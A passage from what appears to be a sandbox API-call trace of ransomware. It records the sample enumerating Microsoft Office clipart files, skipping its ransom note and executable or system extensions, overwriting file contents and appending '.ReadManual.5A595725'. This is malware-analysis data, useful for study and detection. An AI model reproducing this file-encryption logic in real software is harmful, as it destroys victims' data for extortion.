dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9fc) returned 0x2f0000 [0260.757] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.757] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38142554578) returned 1 [0260.757] CloseHandle (hObject=0x184) returned 1 [0260.757] SetSecurityInfo () returned 0x57 [0260.757] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.757] CloseHandle (hObject=0x194) returned 1 [0260.758] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0260.758] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00265_.WMF" | out: lpString1="BL00265_.WMF") returned="BL00265_.WMF" [0260.758] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.758] StrStrIW (lpFirst="BL00265_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.758] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.758] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.758] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.758] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.758] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.758] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.758] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.758] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.758] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.758] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.758] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.758] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.758] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.758] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.758] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" [0260.758] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.ReadManual.5A595725" [0260.758] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.ReadManual.5A595725") returned 87 [0260.758] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38142697511) returned 1 [0260.758] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x20 [0260.758] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.759] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5752) returned 1 [0260.759] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1678, lpName=0x0) returned 0x184 [0260.759] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.759] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.759] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.762] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.762] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1678) returned 0x2f0000 [0260.762] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.762] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38143093509) returned 1 [0260.762] CloseHandle (hObject=0x184) returned 1 [0260.762] SetSecurityInfo () returned 0x57 [0260.762] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.762] CloseHandle (hObject=0x194) returned 1 [0260.763] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0260.763] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00267_.WMF" | out: lpString1="BL00267_.WMF") returned="BL00267_.WMF" [0260.763] lstrcmpiW (lpString1="BL00267_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.763] StrStrIW (lpFirst="BL00267_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.763] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.763] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.763] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.763] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.763] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.763] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.763] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.763] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.763] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.763] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.763] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.763] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.763] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.763] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.763] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" [0260.764] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.ReadManual.5A595725" [0260.764] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.ReadManual.5A595725") returned 87 [0260.764] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38143237606) returned 1 [0260.764] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20 [0260.764] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.764] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2644) returned 1 [0260.764] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa54, lpName=0x0) returned 0x184 [0260.764] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.765] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.765] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.766] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.767] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa54) returned 0x2f0000 [0260.767] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.767] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38143552815) returned 1 [0260.767] CloseHandle (hObject=0x184) returned 1 [0260.767] SetSecurityInfo () returned 0x57 [0260.767] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.767] CloseHandle (hObject=0x194) returned 1 [0260.768] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0260.768] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00269_.WMF" | out: lpString1="BL00269_.WMF") returned="BL00269_.WMF" [0260.768] lstrcmpiW (lpString1="BL00269_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.768] StrStrIW (lpFirst="BL00269_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.768] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.768] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.768] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.768] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.768] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.768] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.768] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.768] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.768] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.768] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.768] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.768] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.768] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.768] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.768] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" [0260.768] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.ReadManual.5A595725" [0260.768] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.ReadManual.5A595725") returned 87 [0260.768] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38143700561) returned 1 [0260.768] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20 [0260.769] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.770] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5272) returned 1 [0260.770] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1498, lpName=0x0) returned 0x184 [0260.770] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.771] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.771] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.772] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.773] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1498) returned 0x2f0000 [0260.773] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.773] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38144170323) returned 1 [0260.773] CloseHandle (hObject=0x184) returned 1 [0260.773] SetSecurityInfo () returned 0x57 [0260.773] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.773] CloseHandle (hObject=0x194) returned 1 [0260.774] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0260.774] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00270_.WMF" | out: lpString1="BL00270_.WMF") returned="BL00270_.WMF" [0260.774] lstrcmpiW (lpString1="BL00270_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.774] StrStrIW (lpFirst="BL00270_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.774] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.774] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.774] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.774] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.774] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.774] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.774] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.774] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.774] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.774] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.774] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.774] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.774] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.774] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.774] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" [0260.774] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.ReadManual.5A595725" [0260.774] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.ReadManual.5A595725") returned 87 [0260.774] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38144318435) returned 1 [0260.774] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x20 [0260.775] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.776] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3016) returned 1 [0260.776] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc8, lpName=0x0) returned 0x184 [0260.776] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.776] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.776] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.778] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.778] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbc8) returned 0x2f0000 [0260.778] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.778] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38144707936) returned 1 [0260.778] CloseHandle (hObject=0x184) returned 1 [0260.778] SetSecurityInfo () returned 0x57 [0260.779] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.779] CloseHandle (hObject=0x194) returned 1 [0260.779] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0260.779] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00273_.WMF" | out: lpString1="BL00273_.WMF") returned="BL00273_.WMF" [0260.779] lstrcmpiW (lpString1="BL00273_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.779] StrStrIW (lpFirst="BL00273_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.779] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.779] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.779] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.779] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.779] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.779] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.779] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.779] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.780] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.780] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.780] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.780] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.780] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.780] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.780] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" [0260.780] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.ReadManual.5A595725" [0260.780] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.ReadManual.5A595725") returned 87 [0260.780] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38144853343) returned 1 [0260.780] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x20 [0260.780] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.780] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3780) returned 1 [0260.780] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xec4, lpName=0x0) returned 0x184 [0260.780] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.781] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.781] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.783] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.783] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xec4) returned 0x2f0000 [0260.783] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.783] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38145164838) returned 1 [0260.783] CloseHandle (hObject=0x184) returned 1 [0260.783] SetSecurityInfo () returned 0x57 [0260.783] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.783] CloseHandle (hObject=0x194) returned 1 [0260.784] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0260.784] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00274_.WMF" | out: lpString1="BL00274_.WMF") returned="BL00274_.WMF" [0260.784] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.784] StrStrIW (lpFirst="BL00274_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.784] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.784] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.784] StrCmpIW (psz1="WMF", psz2="sys") 